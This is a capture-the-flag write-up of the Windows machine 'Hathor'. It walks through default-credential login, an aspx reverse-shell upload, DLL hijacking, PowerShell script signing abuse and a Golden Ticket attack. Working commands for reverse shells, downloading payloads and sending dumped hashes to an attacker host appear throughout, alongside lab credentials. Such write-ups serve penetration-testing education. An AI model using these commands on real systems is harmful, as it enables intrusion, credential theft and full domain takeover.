search
githubEdit

Hathor

hashtag
Summary

Nmap discovers a website and a virtual host for mojoPortal. We register for an account on mojoPortal and notice an admin user. Searching for the mojoPortal default credentials finds [email protected]:admin, which works! As admin, we are able to edit a file and replace it with an aspx reverse shellarrow-up-right. Then, we copy that file to a name with the .aspx file extension so it can be executed. We figure out where the file is stored on the server and then make a GET request to it to get e reverse shell.

Now that we are on the box, we look around and notice the C:\Get-bADpasswords directory, which contains the program improsec/Get-bADpasswordsarrow-up-right. There is a logs folder that indicates that the user BeatriceMill has a weak password. We BeatriceMill's password hash in a CSV file outputted by the program and then we crack it with CrackStationarrow-up-right.

We look at samba shares and mount the share share as the BeatriceMill user, who has write access. According to the AppLockerarrow-up-right policy, we can run C:\share\Bginfo64.exe, so we aim to overwrite that with a netcat binaryarrow-up-right to spawn a reverse shell. We discover that there is a cronjob that runs the exe in the share. So, we hijack the 7-zip64.dll DLL file using the second exploit listed under the "Your own" header from this HackTricks guidearrow-up-right. Our DLL takes ownership of the Bginfo64.exe executable, grants everyone full access to it, downloads a static netcat binary from our machine, and then executes that netcat binary to get a reverse shell.

We now have a reverse shell as the ginawild user and we get the user.txt flag. In the Recycle Bin we find a PFX file. We download it and crack it using john. We can assume that this certificate was used to sign the Get-bADpasswords.ps1 file so that it would be able to run (see powershell signingarrow-up-right for more information). Additionally, there is a run.vbs script in the C:\Get-bADpasswords directory that creates a Windows event. We assume something picks up that event and executes the C:\Get-bADpasswords\Get-bADpasswords.ps1 script as a different user. So, we replace the Get-bADpasswords.ps1 with a reverse shell and sign it with the certificate, to get a reverse shell as the bpassrunner user.

For this final part we perform a Golden Ticket attackarrow-up-right. To do this we need to the NTLM hash of the krbtgt user. Using Get-ADReplAccountarrow-up-right, we dump the hashes for many accounts and transfer them to our machine. With the krbtgt NTLM hash, we use impacketarrow-up-right's ticketer.pyarrow-up-right to create a ticket as the Administrator user. Finally, we use wmiexec.pyarrow-up-right to get a shell and grab the root.txt flag.

hashtag
Enumeration

hashtag
Nmap

First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.147 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV 10.10.11.147.

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Home - mojoPortal
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
| http-robots.txt: 29 disallowed entries (15 shown)
| /CaptchaImage.ashx* /Admin/ /App_Browsers/ /App_Code/
| /App_Data/ /App_Themes/ /bin/ /Blog/ViewCategory.aspx$
| /Blog/ViewArchive.aspx$ /Data/SiteImages/emoticons /MyPage.aspx
|_/MyPage.aspx$ /MyPage.aspx* /NeatHtml/ /NeatUpload/
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-08-06 19:06:40Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: windcorp.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2022-08-06T19:08:09+00:00; -10s from scanner time.
| ssl-cert: Subject: commonName=hathor.windcorp.htb
| Subject Alternative Name: othername:<unsupported>, DNS:hathor.windcorp.htb
| Not valid before: 2022-03-18T07:51:40
|_Not valid after:  2023-03-18T07:51:40
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: windcorp.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=hathor.windcorp.htb
| Subject Alternative Name: othername:<unsupported>, DNS:hathor.windcorp.htb
| Not valid before: 2022-03-18T07:51:40
|_Not valid after:  2023-03-18T07:51:40
|_ssl-date: 2022-08-06T19:08:09+00:00; -10s from scanner time.
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: windcorp.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=hathor.windcorp.htb
| Subject Alternative Name: othername:<unsupported>, DNS:hathor.windcorp.htb
| Not valid before: 2022-03-18T07:51:40
|_Not valid after:  2023-03-18T07:51:40
|_ssl-date: 2022-08-06T19:08:09+00:00; -10s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: windcorp.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2022-08-06T19:08:09+00:00; -10s from scanner time.
| ssl-cert: Subject: commonName=hathor.windcorp.htb
| Subject Alternative Name: othername:<unsupported>, DNS:hathor.windcorp.htb
| Not valid before: 2022-03-18T07:51:40
|_Not valid after:  2023-03-18T07:51:40
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49699/tcp open  msrpc         Microsoft Windows RPC
49702/tcp open  msrpc         Microsoft Windows RPC
56024/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: HATHOR; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: mean: -10s, deviation: 0s, median: -10s
| smb2-time:
|   date: 2022-08-06T19:07:32
|_  start_date: N/A

We see references to hathor.windcorp.htb, so let's add that domain to /etc/hosts: echo "10.10.11.147 windcorp.htb hathor.windcorp.htb" | sudo tee -a /etc/hosts.

hashtag
Website (Port 80)

The website appears to be powered by software called "mojoPortal" (according to the page title). The main page says that the site is under construction:

There is a login link at the bottom:

Let's try to register for an account:

We get a settings icon on the left side of the page with a link to the member list at http://windcorp.htb/MemberList.aspx:

There is an admin user, so we probably want to try andd get access to that account.

Let's try to bruteforce directories. this produces a lot of 403 - Forbidden: Access is denied errors, so we filter those with -fc 403 by running ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u http://windcorp.htb/FUZZ/ -fc 403:

Searching for "mojoPortal default credentials" finds this forum threadarrow-up-right. Trying the default credentials of [email protected]:admin works!

We get some possibly useful version numbers from http://windcorp.htb/Admin/ServerInformation.aspx:

On the file manager page at http://windcorp.htb/FileManager?view=fullpage we can copy, edit, and upload files:

We can generate a reverse shell using msfvenom -p windows/meterpreter/reverse_tcp LHOST=tun0 LPORT=46738 -f aspx > meterpreter.aspx, but for some reason this doesn't work. So, instead I used this reverse shell scriptarrow-up-right.

Attempting to upload this file gives us an error since aspx files are not allowed:

In the file manager we can edit the file at /htmlfragments/fragment1.htm and replace its contents with the reverse shell:

Then, we copy the file to /htmlfragments/shell.aspx, which appears to work. It doesn't appear in the file browser due to a content filter that blocks ".aspx" files.

If we go to the "Content Manager" at http://windcorp.htb/Admin/ContentCatalog.aspx, we can edit the home page, which has the "Under Construction" image on it. If we view the properties of that image we can view its path:

The underconstruction.png was located in the root of the file explorer, so we can assume that the path /Data/Sites/1/media/ brings us to the root of the file explorer. Therefore, our shell is at /Data/Sites/1/media/htmlfragments/shell.aspx.

We start a listener with nc -nvlp 8344 and navigate to http://windcorp.htb/Data/Sites/1/media/htmlfragments/shell.aspx to get a reverse shell!

hashtag
Foothold

We run dir C:\ and notice a strange directory called Get-bADpasswords:

Searching for this tool online finds improsec/Get-bADpasswordsarrow-up-right. According to its README, "this module is able to compare password hashes of enabled Active Directory users against bad/weak/non-compliant passwords (e.g. hackers first guess in brute-force attacks)."

We look around this folder and find a logs directory at C:\Get-bADpasswords\Accessible\Logs:

The log file log_windcorp-05102021-183949.txt indicates that the user BeatriceMill has a weak password.

In the C:\Get-bADpasswords\Accessible\CSVs directory, we read the exported_windcorp-05102021-183949.csv file, which has a password hash:

Putting 9cb01504ba0247ad5c6e08f7ccae7903 into CrackStationarrow-up-right reveals that hash is an NTLM hash and that the password is !!!!ilovegood17.

So, now we have a valid set of credentials BeatriceMill:!!!!ilovegood17.

hashtag
Getting User

With our new credentials we are able to dump LDAP by running ldapsearch -x -H ldap://windcorp.htb -D 'windcorp\BeatriceMill' -w '!!!!ilovegood17' -b "DC=windcorp,DC=htb" > ldap_results.txt, but this doesn't give us much information: ldap_results.txtarrow-up-right

We run net view \\hathor, which shows us a share SMB share:

We can mount this share by running net use x: \\hathor\share (from this SuperUser answerarrow-up-right). However, if we try to read it with dir X:\ we get "Access is denied." We can run net use x: /delete to unmount the share.

Let's try with the BeatriceMill user: net use x: \\hathor\share /user:windcorp.htb\BeatriceMill !!!!ilovegood17 (command from this SuperUser answerarrow-up-right)

Contents of the share:

We have write access to this share since we can copy a null byte to a new file within it by running copy NUL X:\thing.txt.

We run Get-AppLockerPolicy -effective -xml to see the AppLockerarrow-up-right policy and determine what applications are allowed to run: We see that %OSDRIVE%\share\Bginfo64.exe is allowed to be executed, so we will overwrite that file with our reverse shell.

We can hijack the 7-zip64.dll DLL file using the second exploit listed under the "Your own" header from this HackTricks guidearrow-up-right. This will work because there is a cronjob that runs the exe in the share.

With this DLL, we take ownership of the Bginfo64.exe executable, grant everyone full access to it, download a static netcat binary from our machine, and then execute that netcat binary to get a reverse shell. We compile it with x86_64-w64-mingw32-gcc -shared windows_dll.c -o 7-zip64.dll.

You can download the static netcat binary we use from this pagearrow-up-right (direct linkarrow-up-right). Note: The netcat binary you use matters. I originally used this onearrow-up-right and that failed to launch a second reverse shell, which we need to do later.

We setup a listener with nc -nvlp 45446. Next, we start the web server with python -m http.server 5003. Finally, we overwrite the current DLL with ours by running curl.exe http://10.10.14.116:5003/7-zip64.dll -o X:\scripts\7-zip64.dll on the target. Then, wait about a minute and you should get a reverse shell.

We are now the windcorp\ginawild user. We can get the user.txt flag with type C:\Users\GinaWild\Desktop\user.txt.

hashtag
Privilege Escalation (Part 1)

If we look in the recycle bin we see some files:

Looking in one of the folders finds a PFX file:

We can encode the file to base64 to easily copy paste it by running certutil -encode -f C:\$Recycle.bin\S-1-5-21-3783586571-2109290616-3725730865-2663\$RLYS3KF.pfx tmp.b64 && cls && type tmp.b64 && del tmp.b64. Then, copy the text between -----BEGIN CERTIFICATE----- and -----END CERTIFICATE----- and run xclip -o -selection clipboard | base64 -d -i > file.pfx to decode the text on your clipboard and save it to file.pfx.

We cracked a PFX file in the Timelapse writeup. We can do it again by running pfx2john file.pfx > hash.txt and then running john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt. This gives us the password abceasyas123.

We can assume that this certificate was used to sign the Get-bADpasswords.ps1 file so that it would be able to run (see powershell signingarrow-up-right for more information).

In the C:\Get-bADpasswords directory we have a run.vbs file:

So, when this run.vbs file is executed it creates an event in the Windows event log (documentation about eventcreatearrow-up-right). I think something picks up that event and executes the C:\Get-bADpasswords\Get-bADpasswords.ps1 script as a different user. So, if we replace the Get-bADpasswords.ps1 with a reverse shell and sign it with the certificate, we should get a reverse shell.

First, create a temporary directory with mkdir C:\Temp and then run copy C:\$Recycle.bin\S-1-5-21-3783586571-2109290616-3725730865-2663\$RLYS3KF.pfx C:\Temp\sign.pfx to copy the certificate. Start a listener wtih nc -nvlp 3997. Next, run cmd.exe /c "echo C:\share\Bginfo64.exe 10.10.14.116 3997 -e cmd.exe > C:\Get-bADpasswords\Get-bADpasswords.ps1". Then, import the pfx and sign the script by running the following with the password we found (make sure to run in powershell):

Now, just run the VBS script with cscript C:\Get-bADpasswords\run.vbs. After a few seconds, you should get a reverse shell as windcorp\bpassrunner.

hashtag
Privilege Escalation (Part 2)

For this part we perform a Golden Ticket attackarrow-up-right. To do this we need to the NTLM hash of the KRBTGT user, an account used for Kerberos. You can learn more about the KRBTGT user in this articlearrow-up-right.

We can run Get-ADReplAccountarrow-up-right with get-adreplaccount -all -namingcontext 'DC=windcorp,DC=htb' -server hathor > hashes to create a file called hashes with the hashes for many accounts.

We run the following commands to determine that the file is 42.8 MB:

So, we run nc -nvlp 57010 > hashes on our machine and cmd /c "C:\share\Bginfo64.exe 10.10.14.116 57010 < hashes" on the target too download the file. Tip: Use a command like watch ls -lh hashes to watch the file transfer progress.

Looking at the hashes file we find that the krbtgt NTLM hash is c639e5b331b0e5034c33dec179dcc792. Now, we can request a ticket as the Administrator user by running ticketer.py -nthash c639e5b331b0e5034c33dec179dcc792 -domain-sid S-1-5-21-3783586571-2109290616-3725730865 -domain windcorp.htb Administrator.

Then, we store the path to the ticket by running export KRB5CCNAME=administrator.ccache. Finally, we run wmiexec.py -no-pass -k -dc-ip hathor.windcorp.htb windcorp.htb/[email protected] to get a shell as the Administrator user. Then, just execute type C:\Users\Administrator\Desktop\root.txt to get the root.txt flag.

PreviousTrickNextTemplated

Last updated